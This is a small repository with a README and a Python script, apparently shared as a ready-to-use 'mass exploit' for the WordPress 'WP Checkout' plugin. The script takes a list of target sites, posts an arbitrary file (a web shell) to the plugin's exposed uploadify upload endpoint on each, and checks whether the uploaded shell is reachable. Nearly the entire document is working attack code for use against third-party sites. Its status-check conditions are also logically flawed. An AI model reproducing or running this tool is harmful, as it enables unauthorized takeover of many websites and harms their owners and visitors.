├── README.md └── exploit.py /README.md: -------------------------------------------------------------------------------- 1 | # wp-checkout-exploit 2 | Wordpress Plugin "WP Checkout" Mass exploit 3 | -------------------------------------------------------------------------------- /exploit.py: -------------------------------------------------------------------------------- 1 | # Filedata 2 | import colorama # pip3 install colorama 3 | from colorama import Fore as F 4 | import requests as r # pip3 install requests 5 | import argparse as arg 6 | import os as sistema 7 | import sys 8 | sistema.system('cls' if sistema.name == 'nt' else 'reset') 9 | 10 | def arruma(url): 11 | if url[-1] != "/": 12 | url = url + "/" 13 | if url[:7] != "http://" and url[:8] != "https://": 14 | url = "http://" + url 15 | return url 16 | user_agent = {'User-agent': 'Mozilla/5.0'} 17 | 18 | index = r"""{} 19 | :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::{} 20 | __ __ _ _____ 21 | \ \ / / | | / ____| 22 | \ \_/ / _ _ __ | | _____ _ __ ___| | _ __ _____ __ 23 | \ / | | | '_ \| |/ / _ \ '__/ __| | | '__/ _ \ \ /\ / / 24 | | || |_| | | | | < __/ | \__ \ |____| | | __/\ V V / 25 | |_| \__,_|_| |_|_|\_\___|_| |___/\_____|_| \___| \_/\_/ 26 | {}Wordpress Plugin "WP-Checkout" mass exploit 27 | 28 | {}Autor: {}Supr3m0 (Yunkers Crew) 29 | {}Github: {}www.github.com/2inf3rnal/ 30 | {}Skype: {}inf3rnal.king 31 | :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::""".format(F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE) 32 | 33 | manual = """{}--lista {}Lista com os sites. 34 | {}--arquivo {}Arquivo que será upado no site. 35 | {}--threads {}Quantidade de requisições (Default = 10) 36 | 37 | {}Use: {}python3 {} --lista --arquivo --threads 5""".format(F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, F.CYAN, F.WHITE, sys.argv[0]) 38 | 39 | if len(sys.argv) == 1: 40 | print(index) 41 | print(manual) 42 | exit() 43 | 44 | parser = arg.ArgumentParser(description = "By Supr3m0") 45 | parser.add_argument("--lista", "-l", action='store') 46 | parser.add_argument("--arquivo", "-a", action='store') 47 | parser.add_argument("--threads", "-t", action='store', type = int, default = 10) 48 | param = parser.parse_args() 49 | 50 | if not param.lista: 51 | print("{}[-] {}Insira a lista com os devidos sites!".format(F.RED, F.WHITE)) 52 | exit() 53 | if not param.arquivo: 54 | print("{}[-] {}Insira o arquivo que será upado no site!".format(F.RED, F.WHITE)) 55 | exit() 56 | 57 | print(index) 58 | print("{}[+] {}Lista de sites: {}".format(F.CYAN, F.WHITE, param.lista)) 59 | print("{}[+] {}Arquivo que será upado: {}".format(F.CYAN, F.WHITE, param.arquivo)) 60 | print("\n{}[...] {}Lendo lista de sites...".format(F.CYAN, F.WHITE)) 61 | 62 | try: 63 | lista = open(param.lista, "r") 64 | lista = lista.readlines() 65 | lista = [site.replace("\n", "") for site in lista] 66 | arquivo = open(param.arquivo, "rb") 67 | except Exception as err: 68 | print("{}[-] {}Algum erro aconteceu ao tentar abrir os arquivos {} / {}".format(F.CYAN, F.WHITE, param.lista, param.arquivo)) 69 | exit() 70 | 71 | print("{}[+] {}Total de sites: {}".format(F.CYAN, F.WHITE, str(len(lista)))) 72 | print("\n{}[...] {}Iniciando exploração em massa!".format(F.CYAN, F.WHITE)) 73 | 74 | payload = {"Filedata" : arquivo} 75 | try: 76 | for site in lista: 77 | url = arruma(site) + "wp-content/plugins/wp-checkout/vendors/uploadify/upload.php" 78 | checa = r.get(url) 79 | if checa.status_code != 404 and not "404" or "not found" or "internal" or "500" or "403" in checa.text: 80 | print("{}\n[!] {}O site {} pode está vulnerável!".format(F.GREEN, F.WHITE, site)) 81 | print("{} [...] {}Inserindo payload...".format(F.GREEN, F.WHITE)) 82 | envia = r.post(url, files=payload) 83 | if not "404" or "not found" or "internal" or "500" or "403" in envia.text: 84 | print("{} [...] {}Payload enviado com sucesso, verificando se o arquivo foi realmente upado...".format(F.GREEN, F.WHITE)) 85 | shell = arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text 86 | shell = r.get(shell) 87 | if shell.status_code == 200: 88 | print("{} [+] {}Arquivo enviada com sucesso: {}\n".format(F.GREEN, F.WHITE, arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text)) 89 | else: 90 | print("{} [-] {}Não encontrei a shell.. -> {}\n".format(F.RED, F.WHITE,arruma(site) + "wp-content/uploads/wp-checkout/uploadify/" + envia.text)) 91 | continue 92 | else: 93 | print("{} [-] {}Erro ao enviar o payload...\n".format(F.RED, F.WHITE)) 94 | continue 95 | else: 96 | continue 97 | except KeyboardInterrupt: 98 | exit("bye") 99 | print("\n{}[FINISH]{}".format(F.CYAN, F.WHITE)) 100 | --------------------------------------------------------------------------------